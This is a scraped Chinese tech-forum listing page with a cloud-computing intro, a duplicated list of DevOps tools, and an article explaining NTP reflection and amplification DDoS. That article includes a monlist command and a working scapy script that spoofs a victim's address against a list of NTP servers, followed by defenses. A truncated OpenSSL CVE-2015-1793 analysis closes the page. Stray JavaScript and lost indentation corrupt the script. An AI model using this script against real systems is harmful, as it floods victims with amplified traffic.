从2013年开始,我国云计算持续快速发展,产业规模不断扩大,产业链日趋完善,产业环境不断优化。在这种情况下,不少创业者看到了市场,不少云计算公司崛起。但是人才在哪里,哪些是真正的云计算人才?云计算人才他应该会什么,下面Cloud computing image告诉你
云计算知识图.png

 上图不清晰,扩大可清晰看到!
天下武功唯快不攻,这句话运用到互联网,就是你最快、最好、最早的掌握了互联网的最新技术,你就是比较吃香的人才!就像最新比较人们的容器Docker技术一样,如果你是先行者,你现在至少是一家Docker生态技术创业服务的合伙人!革命还未胜利,同志还需努力,各位苦逼的互联网工作者,加油!

愚人节开源中国新玩法-上头条

互联网资讯OpenSkill 发表了文章 • 0 个评论 • 757 次浏览 • 2016-04-01 11:22 • 来自相关话题

今天http://oschina.net 来了一个首页新玩法,这是要上头条的节奏,小营销可以骗好多小粉激动!




倾斜的不错,我电脑都横着了!
今天http://oschina.net 来了一个首页新玩法,这是要上头条的节奏,小营销可以骗好多小粉激动!
oschina.png

倾斜的不错,我电脑都横着了!

最棒的60个DevOps开源工具

互联网资讯Geek小A 发表了文章 • 0 个评论 • 10112 次浏览 • 2015-09-13 18:41 • 来自相关话题

你喜欢免费的东西吗?获得开发者社区支持的自动化,开源的工具是大家梦寐以求的。这里列举了 60+ 款最棒的开源工具,可以帮助你很好的实行 DevOps。
大图点这里





开发工具

版本控制&协作开发版本控制系统 Git

Git 是一个开源的分布式版本控制系统,用以有效、高速的处理从很小到非常大的项目版本管理。

开源中国 Git 代码托管平台:http://git.oschina.net/

代码托管平台 GitLab

GitLab 是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目。开源中国代码托管平台 git.oschina.net 就是基于 GitLab 项目搭建。

代码评审工具 Gerrit

Gerrit 是一个免费、开放源代码的代码审查软件,使用网页界面。利用网页浏览器,同一个团队的软件程序员,可以相互审阅彼此修改后的程序代码,决定是否能够提交,退回或者继续修改。它使用 Git 作为底层版本控制系统。

版本控制系统 Mercurial

Mercurial 是一种轻量级分布式版本控制系统,采用 Python 语言实现,易于学习和使用,扩展性强。

版本控制系统 Subversion

Subversion 是一个版本控制系统,相对于的RCS、CVS,采用了分支管理系统,它的设计目标就是取代CVS。互联网上免费的版本控制服务多基于Subversion。

版本控制系统 Bazaar

Bazaar 是一个分布式的版本控制系统,它发布在 GPL 许可协议之下,并可用于 Windows、GNU/Linux、UNIX 以及 Mac OS 系统。

自动化构建和测试

Apache Ant

Apache Ant是一个将软件编译、测试、部署等步骤联系在一起加以自动化的一个工具,大多用于Java环境中的软件开发。

Maven

Maven 除了以程序构建能力为特色之外,还提供 Ant 所缺少的高级项目管理工具。由于 Maven 的缺省构建规则有较高的可重用性,所以常常用两三行 Maven 构建脚本就可以构建简单的项目,而使用 Ant 则需要十几行。事实上,由于 Maven 的面向项目的方法,许多 Apache Jakarta 项目现在使用 Maven,而且公司项目采用 Maven 的比例在持续增长。开源中国的 Maven 库 http://maven.oschina.net

Selenium

Selenium (SeleniumHQ) 是 thoughtworks公司的一个集成测试的强大工具。

PyUnit

Python单元测试框架(The Python unit testing framework),简称为PyUnit, 是Kent Beck和Erich Gamma这两位聪明的家伙所设计的 JUnit 的Python版本。

QUnit

QUnit 是 jQuery 的单元测试框架。

JMeter

JMeter 是 Apache 组织的开放源代码项目,它是功能和性能测试的工具,100% 的用 java 实现。

Gradle

Gradle 就是可以使用 Groovy 来书写构建脚本的构建系统,支持依赖管理和多项目,类似 Maven,但比之简单轻便。

PHPUnit

PHPUnit 是一个轻量级的PHP测试框架。它是在PHP5下面对JUnit3系列版本的完整移植,是xUnit测试框架家族的一员(它们都基于模式先锋Kent Beck的设计)。

持续集成&交付

Jenkins

Jenkins 的前身是 Hudson 是一个可扩展的持续集成引擎。

Capistrano

Capistrano 是一个用来并行的在多台机器上执行相同命令的工具,使用用来安装一整批机器。它最初是被开发用来发布 Rails 应用的。

BuildBot

BuildBot 是一个系统 的自动化编译/测试周期最需要的软件,以验证代码的变化。通过自动重建和测试每次发生了变化的东西,在建设迅速查明之前,减少不必要的失败。

Fabric

fabric8 是开源 Java Containers(JVMs) 深度管理集成平台。有了 fabric8 可以非常方便的从 UI 和 UX 一致的中央位置进行自动操作,配置和管理。fabric8 同时提供一些非功能性需求,比如配置管理,服务发现故障转移,集中化监控,自动化等等。

Tinderbox

Travis CI

Travis CI 是一个基于云的持续集成项目, 目前已经支持大部分主流语言了,比如:C,PHP,Ruby,Python, Nodejs等等。

Continuum

Apache Continuum 是最新的 CI 服务器之一,也是值得关注的一个新进入者。基于 Web 的界面使得配置项目很容易。而且,还不需要安装 Web 服务器,因为 Continuum 内置了 Jetty Web 服务器。并且,Continuum 可以作为 Windows 服务运行,还在应用程序的某些部分嵌入了上下文敏感的文档,从而提供了很多帮助。

LuntBuild

LuntBuild 是一个强大自动构建的工具。通过一个简洁的web接口就可以很容易地进行系统的持续构建。

CruiseControl

CruiseControl 是一个针对持续构建程序(项目持续集成)的框架,它包括一个email通知的插件,Ant和各种各样的CVS工具。CruiseControl提供了一个Web接口, 可随时查看当前的编译状况和历史状况

Integrity

Integrity 是 Ruby 开发的持续集成服务器。

Gump

Gump 是 Apache 的整合工具。它以 Python 写成、完全支持 Apache Ant、Apache Maven 等等软件组建工具。

Go

Go 是 Google 开发的一种编译型,并发型,并具有垃圾回收功能的编程语言。

部署工具

容器平台Docker

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。

Rocket

Rocket (也叫 rkt)是 CoreOS 推出的一款容器引擎,和 Docker 类似,帮助开发者打包应用和依赖包到可移植容器中,简化搭环境等部署工作。

Ubuntu(LXC)

LXD 是 ubuntu 基于 LXC 技术的重构,容器天然支持非特权和分布式。LXD 与 Docker 的思路不同,Docker 是 PAAS,LXD 是 IAAS。LXC 项目由一个 Linux 内核补丁和一些 userspace 工具组成。这些 userspace 工具使用由补丁增加的内核新特性,提供一套简化的工具来维护容器。配置管理Chef

Chef 是一个系统集成框架,为整个架构提供配置管理功能

Puppet

Puppet,您可以集中管理每一个重要方面,您的系统使用的是跨平台的规范语言,管理所有的单独的元素通常聚集在不同的文件,如用户, CRON作业,和主机一起显然离散元素,如包装,服务和文件。

CFengine

Cfengine(配置引擎)是一种 UNIX 管理工具,其目的是使简单的管理的任务自动化,使困难的任务变得较容易。Cfengine 适用于管理各种环境,从一台主机到上万台主机的机群均可使用。

Bash

bash 是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。

Rudder

Rudder 已改名为Flannel,为每个使用 Kubernetes 的机器提供一个子网。也就是说 Kubernetes 集群中的每个主机都有自己一个完整的子网,例如机器 A 和 B 可以有 10.0.1.0/24 和 10.0.2.0/24 子网。

Powershell

RunDeck

RunDeck 是用 Java/Grails 写的开源工具,帮助用户在数据中心或者云环境中自动化各种操作和流程。通过命令行或者web界面,用户可以对任意数量的服务器进行操作,大大降低了对服务器自动化的门槛。

Saltstack

Saltstack 可以看做是func的增强版+Puppet的弱化版。使用Python编写。非常好用,快速可以基于EPEL部署。Salt 是一个开源的工具用来管理你的基础架构,可轻松管理成千上万台服务器。

Ansible

Ansible 提供一种最简单的方式用于发布、管理和编排计算机系统的工具,你可在数分钟内搞定。Ansible 是一个模型驱动的配置管理器,支持多节点发布、远程任务执行。默认使用 SSH 进行远程连接。无需在被管理节点上安装附加软件,可使用各种编程语言进行扩展。微服务平台OpenShift

OpenShift 是由红帽推出的一款面向开源开发人员开放的平台即服务(PaaS)。 OpenShift通过为开发人员提供在语言、框架和云上的更多的选择,使开发人员可以构建、测试、运行和管理他们的应用。

Cloud Foundry

Cloud Foundry 是VMware于2011年4月12日推出的业界第一个开源PaaS云平台,它支持多种框架、语言、运行时环境、云平台及应用服务,使开发 人员能够在几秒钟内进行应用程序的部署和扩展,无需担心任何基础架构的问题。

Kubernetes

Kubernetes 是来自 Google 云平台的开源容器集群管理系统。基于 Docker 构建一个容器的调度服务。该系统可以自动在一个容器集群中选择一个工作容器供使用。其核心概念是 Container Pod。

Mesosphere

Apache Mesos 是一个集群管理器,提供了有效的、跨分布式应用或框架的资源隔离和共享,可以运行Hadoop、MPI、Hypertable、Spark。服务开通​Puppet

Puppet,您可以集中管理每一个重要方面,您的系统使用的是跨平台的规范语言,管理所有的单独的元素通常聚集在不同的文件,如用户, CRON作业,和主机一起显然离散元素,如包装,服务和文件。

Razor

Docker Swarm

Docker Swarm 是一个Dockerized化的分布式应用程序的本地集群,它是在Machine所提供的功能的基础上优化主机资源的利用率和容错服务。具体来 说,Docker Swarm支持用户创建可运行Docker Daemon的主机资源池,然后在资源池中运行Docker容器。Docker Swarm可以管理工作负载并维护集群状态。

Vagrant

Vagrant 是一个基于 Ruby 的工具,用于创建和部署虚拟化开发环境。它使用 Oracle 的开源 VirtualBox 虚拟化系统,使用 Chef 创建自动化虚拟环境。

Powershell

OpenStack Heat

维护

日志记录Logstash

Logstash 是一个应用程序日志、事件的传输、处理、管理和搜索的平台。你可以用它来统一对应用程序日志进行收集管理,提供 Web 接口用于查询和统计。

CollectD

collectd 是一个守护(daemon)进程,用来收集系统性能和提供各种存储方式来存储不同值的机制。比如以RRD 文件形式。

StatsD

StatsD 是一个简单的网络守护进程,基于 Node.js 平台,通过 UDP 或者 TCP 方式侦听各种统计信息,包括计数器和定时器,并发送聚合信息到后端服务,例如 Graphite

监控,警告&分析

Nagios

Nagios 是一个监视系统运行状态和网络信息的监视系统。Nagios能监视所指定的本地或远程主机以及服务,同时提供异常通知功能等。

Ganglia

Ganglia 是一个跨平台可扩展的,高 性能计算系统下的分布式监控系统,如集群和网格。它是基于分层设计,它使用广泛的技术,如XML数据代表,便携数据传输,RRDtool用于数据存储和可视化。

Sensu

Sensu 是开源的监控框架。主要特性:高度可组合;提供一个监控代理,一个事件处理器和文档 APIs;为云而设计;Sensu 的现代化架构允许监控大规模的动态基础设施,能够通过复杂的公共网络监控几千个全球分布式的机器和服务;热情的社区。

zabbix

zabbix 是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。

ICINGA

ICINGA 项目是 由Michael Luebben、HendrikB?cker和JoergLinge等人发起的,他们都是现有的Nagios项目社区委员会的成员,他们承诺,新的开源项 目将完全兼容以前的Nagios应用程序及扩展功能。

Graphite

Graphite 是一个用于采集网站实时信息并进行统计的开源项目,可用于采集多种网站服务运行状态信息。Graphite服务平均每分钟有4800次更新操作。

Kibana

Kibana 是一个为 Logstash 和 ElasticSearch 提供的日志分析的 Web 接口。可使用它对日志进行高效的搜索、可视化、分析等各种操作。以上,如果有其他补充可以在评论中跟大家分享哦!
原文地址:https://elasticbox.com/blog/devops-open-source-tools/ 查看全部
os1.png

你喜欢免费的东西吗?获得开发者社区支持的自动化,开源的工具是大家梦寐以求的。这里列举了 60+ 款最棒的开源工具,可以帮助你很好的实行 DevOps。
大图点这里
opensouce.png


开发工具


版本控制&协作开发
版本控制系统 Git

Git 是一个开源的分布式版本控制系统,用以有效、高速的处理从很小到非常大的项目版本管理。

开源中国 Git 代码托管平台:http://git.oschina.net/

代码托管平台 GitLab

GitLab 是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目。开源中国代码托管平台 git.oschina.net 就是基于 GitLab 项目搭建。

代码评审工具 Gerrit

Gerrit 是一个免费、开放源代码的代码审查软件,使用网页界面。利用网页浏览器,同一个团队的软件程序员,可以相互审阅彼此修改后的程序代码,决定是否能够提交,退回或者继续修改。它使用 Git 作为底层版本控制系统。

版本控制系统 Mercurial

Mercurial 是一种轻量级分布式版本控制系统,采用 Python 语言实现,易于学习和使用,扩展性强。

版本控制系统 Subversion

Subversion 是一个版本控制系统,相对于的RCS、CVS,采用了分支管理系统,它的设计目标就是取代CVS。互联网上免费的版本控制服务多基于Subversion。

版本控制系统 Bazaar

Bazaar 是一个分布式的版本控制系统,它发布在 GPL 许可协议之下,并可用于 Windows、GNU/Linux、UNIX 以及 Mac OS 系统。


自动化构建和测试


Apache Ant

Apache Ant是一个将软件编译、测试、部署等步骤联系在一起加以自动化的一个工具,大多用于Java环境中的软件开发。

Maven

Maven 除了以程序构建能力为特色之外,还提供 Ant 所缺少的高级项目管理工具。由于 Maven 的缺省构建规则有较高的可重用性,所以常常用两三行 Maven 构建脚本就可以构建简单的项目,而使用 Ant 则需要十几行。事实上,由于 Maven 的面向项目的方法,许多 Apache Jakarta 项目现在使用 Maven,而且公司项目采用 Maven 的比例在持续增长。开源中国的 Maven 库 http://maven.oschina.net

Selenium

Selenium (SeleniumHQ) 是 thoughtworks公司的一个集成测试的强大工具。

PyUnit

Python单元测试框架(The Python unit testing framework),简称为PyUnit, 是Kent Beck和Erich Gamma这两位聪明的家伙所设计的 JUnit 的Python版本。

QUnit

QUnit 是 jQuery 的单元测试框架。

JMeter

JMeter 是 Apache 组织的开放源代码项目,它是功能和性能测试的工具,100% 的用 java 实现。

Gradle

Gradle 就是可以使用 Groovy 来书写构建脚本的构建系统,支持依赖管理和多项目,类似 Maven,但比之简单轻便。

PHPUnit

PHPUnit 是一个轻量级的PHP测试框架。它是在PHP5下面对JUnit3系列版本的完整移植,是xUnit测试框架家族的一员(它们都基于模式先锋Kent Beck的设计)。


持续集成&交付


Jenkins

Jenkins 的前身是 Hudson 是一个可扩展的持续集成引擎。

Capistrano

Capistrano 是一个用来并行的在多台机器上执行相同命令的工具,使用用来安装一整批机器。它最初是被开发用来发布 Rails 应用的。

BuildBot

BuildBot 是一个系统 的自动化编译/测试周期最需要的软件,以验证代码的变化。通过自动重建和测试每次发生了变化的东西,在建设迅速查明之前,减少不必要的失败。

Fabric

fabric8 是开源 Java Containers(JVMs) 深度管理集成平台。有了 fabric8 可以非常方便的从 UI 和 UX 一致的中央位置进行自动操作,配置和管理。fabric8 同时提供一些非功能性需求,比如配置管理,服务发现故障转移,集中化监控,自动化等等。

Tinderbox

Travis CI

Travis CI 是一个基于云的持续集成项目, 目前已经支持大部分主流语言了,比如:C,PHP,Ruby,Python, Nodejs等等。

Continuum

Apache Continuum 是最新的 CI 服务器之一,也是值得关注的一个新进入者。基于 Web 的界面使得配置项目很容易。而且,还不需要安装 Web 服务器,因为 Continuum 内置了 Jetty Web 服务器。并且,Continuum 可以作为 Windows 服务运行,还在应用程序的某些部分嵌入了上下文敏感的文档,从而提供了很多帮助。

LuntBuild

LuntBuild 是一个强大自动构建的工具。通过一个简洁的web接口就可以很容易地进行系统的持续构建。

CruiseControl

CruiseControl 是一个针对持续构建程序(项目持续集成)的框架,它包括一个email通知的插件,Ant和各种各样的CVS工具。CruiseControl提供了一个Web接口, 可随时查看当前的编译状况和历史状况

Integrity

Integrity 是 Ruby 开发的持续集成服务器。

Gump

Gump 是 Apache 的整合工具。它以 Python 写成、完全支持 Apache Ant、Apache Maven 等等软件组建工具。

Go

Go 是 Google 开发的一种编译型,并发型,并具有垃圾回收功能的编程语言。


部署工具


容器平台
Docker

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。

Rocket

Rocket (也叫 rkt)是 CoreOS 推出的一款容器引擎,和 Docker 类似,帮助开发者打包应用和依赖包到可移植容器中,简化搭环境等部署工作。

Ubuntu(LXC)

LXD 是 ubuntu 基于 LXC 技术的重构,容器天然支持非特权和分布式。LXD 与 Docker 的思路不同,Docker 是 PAAS,LXD 是 IAAS。LXC 项目由一个 Linux 内核补丁和一些 userspace 工具组成。这些 userspace 工具使用由补丁增加的内核新特性,提供一套简化的工具来维护容器。
配置管理
Chef

Chef 是一个系统集成框架,为整个架构提供配置管理功能

Puppet

Puppet,您可以集中管理每一个重要方面,您的系统使用的是跨平台的规范语言,管理所有的单独的元素通常聚集在不同的文件,如用户, CRON作业,和主机一起显然离散元素,如包装,服务和文件。

CFengine

Cfengine(配置引擎)是一种 UNIX 管理工具,其目的是使简单的管理的任务自动化,使困难的任务变得较容易。Cfengine 适用于管理各种环境,从一台主机到上万台主机的机群均可使用。

Bash

bash 是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。

Rudder

Rudder 已改名为Flannel,为每个使用 Kubernetes 的机器提供一个子网。也就是说 Kubernetes 集群中的每个主机都有自己一个完整的子网,例如机器 A 和 B 可以有 10.0.1.0/24 和 10.0.2.0/24 子网。

Powershell

RunDeck

RunDeck 是用 Java/Grails 写的开源工具,帮助用户在数据中心或者云环境中自动化各种操作和流程。通过命令行或者web界面,用户可以对任意数量的服务器进行操作,大大降低了对服务器自动化的门槛。

Saltstack

Saltstack 可以看做是func的增强版+Puppet的弱化版。使用Python编写。非常好用,快速可以基于EPEL部署。Salt 是一个开源的工具用来管理你的基础架构,可轻松管理成千上万台服务器。

Ansible

Ansible 提供一种最简单的方式用于发布、管理和编排计算机系统的工具,你可在数分钟内搞定。Ansible 是一个模型驱动的配置管理器,支持多节点发布、远程任务执行。默认使用 SSH 进行远程连接。无需在被管理节点上安装附加软件,可使用各种编程语言进行扩展。
微服务平台
OpenShift

OpenShift 是由红帽推出的一款面向开源开发人员开放的平台即服务(PaaS)。 OpenShift通过为开发人员提供在语言、框架和云上的更多的选择,使开发人员可以构建、测试、运行和管理他们的应用。

Cloud Foundry

Cloud Foundry 是VMware于2011年4月12日推出的业界第一个开源PaaS云平台,它支持多种框架、语言、运行时环境、云平台及应用服务,使开发 人员能够在几秒钟内进行应用程序的部署和扩展,无需担心任何基础架构的问题。

Kubernetes

Kubernetes 是来自 Google 云平台的开源容器集群管理系统。基于 Docker 构建一个容器的调度服务。该系统可以自动在一个容器集群中选择一个工作容器供使用。其核心概念是 Container Pod。

Mesosphere

Apache Mesos 是一个集群管理器,提供了有效的、跨分布式应用或框架的资源隔离和共享,可以运行Hadoop、MPI、Hypertable、Spark。
服务开通​
Puppet

Puppet,您可以集中管理每一个重要方面,您的系统使用的是跨平台的规范语言,管理所有的单独的元素通常聚集在不同的文件,如用户, CRON作业,和主机一起显然离散元素,如包装,服务和文件。

Razor

Docker Swarm

Docker Swarm 是一个Dockerized化的分布式应用程序的本地集群,它是在Machine所提供的功能的基础上优化主机资源的利用率和容错服务。具体来 说,Docker Swarm支持用户创建可运行Docker Daemon的主机资源池,然后在资源池中运行Docker容器。Docker Swarm可以管理工作负载并维护集群状态。

Vagrant

Vagrant 是一个基于 Ruby 的工具,用于创建和部署虚拟化开发环境。它使用 Oracle 的开源 VirtualBox 虚拟化系统,使用 Chef 创建自动化虚拟环境。

Powershell

OpenStack Heat


维护


日志记录
Logstash

Logstash 是一个应用程序日志、事件的传输、处理、管理和搜索的平台。你可以用它来统一对应用程序日志进行收集管理,提供 Web 接口用于查询和统计。

CollectD

collectd 是一个守护(daemon)进程,用来收集系统性能和提供各种存储方式来存储不同值的机制。比如以RRD 文件形式。

StatsD

StatsD 是一个简单的网络守护进程,基于 Node.js 平台,通过 UDP 或者 TCP 方式侦听各种统计信息,包括计数器和定时器,并发送聚合信息到后端服务,例如 Graphite


监控,警告&分析


Nagios

Nagios 是一个监视系统运行状态和网络信息的监视系统。Nagios能监视所指定的本地或远程主机以及服务,同时提供异常通知功能等。

Ganglia

Ganglia 是一个跨平台可扩展的,高 性能计算系统下的分布式监控系统,如集群和网格。它是基于分层设计,它使用广泛的技术,如XML数据代表,便携数据传输,RRDtool用于数据存储和可视化。

Sensu

Sensu 是开源的监控框架。主要特性:高度可组合;提供一个监控代理,一个事件处理器和文档 APIs;为云而设计;Sensu 的现代化架构允许监控大规模的动态基础设施,能够通过复杂的公共网络监控几千个全球分布式的机器和服务;热情的社区。

zabbix

zabbix 是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。

ICINGA

ICINGA 项目是 由Michael Luebben、HendrikB?cker和JoergLinge等人发起的,他们都是现有的Nagios项目社区委员会的成员,他们承诺,新的开源项 目将完全兼容以前的Nagios应用程序及扩展功能。

Graphite

Graphite 是一个用于采集网站实时信息并进行统计的开源项目,可用于采集多种网站服务运行状态信息。Graphite服务平均每分钟有4800次更新操作。

Kibana

Kibana 是一个为 Logstash 和 ElasticSearch 提供的日志分析的 Web 接口。可使用它对日志进行高效的搜索、可视化、分析等各种操作。
以上,如果有其他补充可以在评论中跟大家分享哦!
原文地址:https://elasticbox.com/blog/devops-open-source-tools/

浅谈基于 NTP 的反射和放大攻击

互联网资讯OpenSkill 发表了文章 • 0 个评论 • 994 次浏览 • 2015-08-20 13:52 • 来自相关话题

0x01 一些案例

      最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热,先看看下面的信息感受下:“It was a very large DDoS targeting a CloudFlare customer,” Matthew Prince, CEO of Cloudflare told SecurityWeek. “We're still gathering the log data to get exact numbers but know it was well over 300Gbps and likely over 400Gbps,” Prince said.

“The method was NTP reflection, which is quickly replacing DNS reflection as the source of the largest attacks,” Prince said.      消息中称 CloudFlare 遭受了高达 400G 流量的 NTP 反射攻击,目前从网上各处的消息来看,众说纷纭,我们先不去考证消息的真伪,仅仅从攻击方法和流量方面来看着实体现出 NTP 反射攻击的威力。

0x02 什么是 NTP

      NTP 是网络时间协议(Network Time Protocol)的简称,干嘛用的呢?就是通过网络协议使计算机之前的时间同步化。

0x03 NTP 反射和放大攻击

     那什么是 NTP 反射和放大攻击呢?如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了,协议不同,效果一样。
     我们先来说说放射和放大攻击:无论是基于 DNS 还是基于 NTP,其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。

放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包,这样就达到了四两拨千斤的效果。

那我们接着来看什么是 NTP 的反射和放大攻击,NTP 包含一个 monlist 功能,也被成为 MON_GETLIST,主要用于监控 NTP 服务器,NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。

我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。pangzi@pangzi-mac ~$ ntpdc -n -c monlist x.x.x.x | wc -l

602



      在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据,除去头两行是无效数据外,正好是 600 个客户端 IP 列表,并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包,除去一个请求包,正好是 100 个响应包。
     从上图中我们可以看到请求包的大小为 234 字节,每个响应包为 482 字节,如果单纯按照这个数据我们可以计算出放大的倍数是:482*100/234 = 206 倍。其实如果通过编写攻击脚本,请求包会更小,这个倍数值会更大,这样算起来是不是蛮屌的。

0x04 如何利用

     我们通过 scapy 实现一个简单的攻击脚本,代码如下:#!/usr/bin/env python
# author: pangzi.me@gmail.com
/[i] <![CDATA[ [/i]/!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/[i] ]]> [/i]/

import sys
from scapy.all import *

def attack(target, ntp_server):
send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))

if __name__ == "__main__":
if len(sys.argv) != 3:
sys.exit(1)

target = sys.argv[1]
ntp_server_file = sys.argv[2]
for ntp_server in open(ntp_server_file, "r"):
ntp_server = ntp_server.strip()
if ntp_server != "":
attack(target, ntp_server)

0x05 如何防御

     我们可以分为两种情况进行防御
1.加固 NTP 服务1. 把 NTP 服务器升级到 4.2.7p26
[list=1]
[*]关闭现在 NTP 服务的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`选项[/*]
[*]在网络出口封禁 UDP 123 端口2.防御 NTP 反射和放大攻击1. 由于这种攻击的特征比较明显,所以可以通过网络层或者借助运营商实施 ACL 来防御[/*]
[*]使用防 DDoS 设备进行清洗      不过我觉得如果流量真的够大,400G?800G?或者更大,又有谁能够防得住呢?[/*]
[/list]原文地址 查看全部


0x01 一些案例


      最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热,先看看下面的信息感受下:
“It was a very large DDoS targeting a CloudFlare customer,” Matthew Prince, CEO of Cloudflare told SecurityWeek. “We're still gathering the log data to get exact numbers but know it was well over 300Gbps and likely over 400Gbps,” Prince said.

“The method was NTP reflection, which is quickly replacing DNS reflection as the source of the largest attacks,” Prince said.
      消息中称 CloudFlare 遭受了高达 400G 流量的 NTP 反射攻击,目前从网上各处的消息来看,众说纷纭,我们先不去考证消息的真伪,仅仅从攻击方法和流量方面来看着实体现出 NTP 反射攻击的威力。


0x02 什么是 NTP


      NTP 是网络时间协议(Network Time Protocol)的简称,干嘛用的呢?就是通过网络协议使计算机之前的时间同步化。


0x03 NTP 反射和放大攻击


     那什么是 NTP 反射和放大攻击呢?如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了,协议不同,效果一样。
     我们先来说说放射和放大攻击:
无论是基于 DNS 还是基于 NTP,其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。

放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包,这样就达到了四两拨千斤的效果。

那我们接着来看什么是 NTP 的反射和放大攻击,NTP 包含一个 monlist 功能,也被成为 MON_GETLIST,主要用于监控 NTP 服务器,NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。

我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。
pangzi@pangzi-mac ~$ ntpdc -n -c monlist x.x.x.x | wc -l

602
ntp.png

      在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据,除去头两行是无效数据外,正好是 600 个客户端 IP 列表,并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包,除去一个请求包,正好是 100 个响应包。
     从上图中我们可以看到请求包的大小为 234 字节,每个响应包为 482 字节,如果单纯按照这个数据我们可以计算出放大的倍数是:482*100/234 = 206 倍。其实如果通过编写攻击脚本,请求包会更小,这个倍数值会更大,这样算起来是不是蛮屌的。


0x04 如何利用


     我们通过 scapy 实现一个简单的攻击脚本,代码如下:
#!/usr/bin/env python
# author: pangzi.me@gmail.com
/[i] <![CDATA[ [/i]/!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/[i] ]]> [/i]/

import sys
from scapy.all import *

def attack(target, ntp_server):
send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))

if __name__ == "__main__":
if len(sys.argv) != 3:
sys.exit(1)

target = sys.argv[1]
ntp_server_file = sys.argv[2]
for ntp_server in open(ntp_server_file, "r"):
ntp_server = ntp_server.strip()
if ntp_server != "":
attack(target, ntp_server)


0x05 如何防御


     我们可以分为两种情况进行防御
1.加固 NTP 服务
1. 把 NTP 服务器升级到 4.2.7p26
[list=1]
[*]关闭现在 NTP 服务的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`选项[/*]
[*]在网络出口封禁 UDP 123 端口
2.防御 NTP 反射和放大攻击
1. 由于这种攻击的特征比较明显,所以可以通过网络层或者借助运营商实施 ACL 来防御[/*]
[*]使用防 DDoS 设备进行清洗
      不过我觉得如果流量真的够大,400G?800G?或者更大,又有谁能够防得住呢?[/*]
[/list]原文地址

OpenSSL-CVE-2015-1793漏洞分析

互联网资讯Ansible 发表了文章 • 0 个评论 • 826 次浏览 • 2015-07-29 14:39 • 来自相关话题

引言

OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。

360安全研究员au2o3t对该漏洞进行了原理上的分析,确认是一个绕过交叉链类型证书验证的高危漏洞,可以让攻击者构造证书来绕过交叉验证,用来形成诸如“中间人”等形式的攻击。

1.漏洞基本原理

直接看最简单的利用方法(利用方法包括但不限于此):

